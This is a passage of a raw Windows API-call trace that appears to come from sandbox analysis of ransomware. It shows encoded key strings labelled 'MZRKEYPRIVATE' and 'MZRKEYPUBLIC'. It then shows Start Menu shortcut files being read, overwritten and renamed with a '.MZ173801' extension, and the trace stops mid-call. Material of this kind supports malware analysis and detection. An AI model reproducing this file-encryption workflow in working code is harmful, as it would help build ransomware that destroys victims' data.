WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24b729c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0215.428] GetCurrentThreadId () returned 0xab4 [0215.428] GetCurrentThreadId () returned 0xab4 [0215.428] GetCurrentThreadId () returned 0xab4 [0215.429] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0215.429] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24c82fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0215.430] GetCurrentThreadId () returned 0xab4 [0215.430] GetCurrentThreadId () returned 0xab4 [0215.430] GetCurrentThreadId () returned 0xab4 [0215.430] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Spreadsheet Compare 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\spreadsheet compare 2016.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0215.430] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0215.430] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0215.430] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0xa0f [0215.430] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0215.430] ReadFile (in: hFile=0x330, lpBuffer=0x24d0100, nNumberOfBytesToRead=0xa0f, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24d0100*, lpNumberOfBytesRead=0x19f480*=0xa0f, lpOverlapped=0x0) returned 1 [0215.625] CloseHandle (hObject=0x330) returned 1 [0215.625] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Spreadsheet Compare 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\spreadsheet compare 2016.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0215.889] WriteFile (in: hFile=0x330, lpBuffer=0x24d2130*, nNumberOfBytesToWrite=0xa0f, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24d2130*, lpNumberOfBytesWritten=0x19f48c*=0xa0f, lpOverlapped=0x0) returned 1 [0215.890] CloseHandle (hObject=0x330) returned 1 [0216.188] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Spreadsheet Compare 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\spreadsheet compare 2016.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Spreadsheet Compare 2016.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\spreadsheet compare 2016.lnk.mz173801")) returned 1 [0217.021] GetCurrentThreadId () returned 0xab4 [0217.022] GetCurrentThreadId () returned 0xab4 [0217.022] GetCurrentThreadId () returned 0xab4 [0217.022] GetCurrentThreadId () returned 0xab4 [0217.022] GetCurrentThreadId () returned 0xab4 [0217.022] GetCurrentThreadId () returned 0xab4 [0217.022] FindNextFileW (in: hFindFile=0xa1b540, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4d4712f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4d4712f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4d4712f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9d4, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Telemetry Dashboard for Office 2016.lnk", cAlternateFileName="TELEME~1.LNK")) returned 1 [0217.022] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0217.022] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0217.022] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Telemetry Dashboard for Office 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\telemetry dashboard for office 2016.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4d4712f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4d4712f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4d4712f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9d4)) returned 1 [0217.022] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Telemetry Dashboard for Office 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\telemetry dashboard for office 2016.lnk")) returned 0x20 [0217.022] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Telemetry Dashboard for Office 2016.lnk", dwFileAttributes=0x80) returned 1 [0217.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0217.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24b729c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 